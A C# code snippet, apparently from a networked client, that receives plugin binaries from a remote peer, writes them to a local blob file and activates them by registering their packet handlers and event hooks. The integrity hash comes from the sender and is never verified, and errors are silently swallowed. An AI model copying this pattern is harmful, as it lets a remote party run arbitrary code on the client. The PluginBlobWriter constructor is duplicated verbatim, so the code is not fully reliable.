public override void PacketReceived(IDataPacket packet, IChannel sender)
{
if (packet is FetchPluginMetadataPacket)
{
var retPacket = new FetchPluginMetadataPacket();
// Send empty list if there are no plugins
if (!File.Exists("plugins.blob"))
SendPacket(retPacket);
else
{
var blobReader = new PluginBlobReader("plugins.blob");
var md = blobReader.ReadMetadata();
blobReader.Dispose();
foreach (var plugin in md.PluginTable)
retPacket.PluginList.Add(new PluginIntegrityPair(plugin.Key, plugin.Value.Hash));
SendPacket(retPacket);
}
} else if (packet is PluginActionPacket)
{
var actionPacket = packet as PluginActionPacket;
var blobWriter = new PluginBlobWriter("plugins.blob");
foreach (var action in actionPacket.Actions)
{
switch (action.Action)
{
case PluginActionPacket.PluginAction.Add:
blobWriter.AppendPlugin(new BlobClientPlugin
{
Data = action.PluginData,
Hash = action.IntegrityHash,
Size = action.PluginData.Length,
PluginGuid = action.PluginGuid
});
break;
case PluginActionPacket.PluginAction.Replace:
blobWriter.ReplacePlugin(action.PluginGuid, new BlobClientPlugin
{
Data = action.PluginData,
Hash = action.IntegrityHash,
Size = action.PluginData.Length,
PluginGuid = action.PluginGuid
});
break;
case PluginActionPacket.PluginAction.Remove:
blobWriter.RemovePlugin(action.PluginGuid);
break;
}
}
blobWriter.WriteBlob();
blobWriter.Dispose();
}
else if (packet is SynchronizationFinalizationPacket)
{
ActivatePlugins();
SendPacket(new SynchronizationFinalizationPacket());
}
}
public PluginBlobWriter(string blobFile)
{
using (var lol = new PluginBlobReader(blobFile))
{
_md = lol.ReadMetadata();
}
var fs = new FileStream(blobFile, FileMode.Truncate);
_writer = new BlobWriter(fs);
}
public PluginBlobWriter(string blobFile)
{
using (var lol = new PluginBlobReader(blobFile))
{
_md = lol.ReadMetadata();
}
var fs = new FileStream(blobFile, FileMode.Truncate);
_writer = new BlobWriter(fs);
}
static void ActivatePlugins()
{
var blobReader = new PluginBlobReader("plugins.blob");
var md = blobReader.ReadMetadata();
var pluginList = new List<IClientPluginHost>();
foreach (var plugin in md.PluginTable)
{
pluginList.AddRange(blobReader.GetPluginHost(plugin.Key));
}
blobReader.Dispose();
pluginList.ForEach(lp =>
{
lp.Plugins.ForEach(lpp =>
{
if (lpp.PluginPackets != null)
lpp.PluginPackets.ForEach(lppp =>
{
try
{
Globals.Client.PacketProcessor.PacketTable.Add(lppp.PacketId, lppp.GetType());
} catch {}
});
if (lpp.SocketOperations != null)
lpp.SocketOperations.ForEach(lppso =>
{
try
{
Globals.Client.RegisterOperation(lppso.GetType());
} catch {}
});
});
});
Globals.Client.OnClientConnected += (o, e) =>
{
pluginList.ForEach(lp =>
{
lp.Plugins.ForEach(lpp =>
{
lpp.OnClientConnected();
});
});
};
Globals.Client.OnPacketReceived += (o, e) =>
{
pluginList.ForEach(lp =>
{
lp.Plugins.ForEach(lpp =>
{
lpp.OnPacketReceived(o, e);
});
});
};
}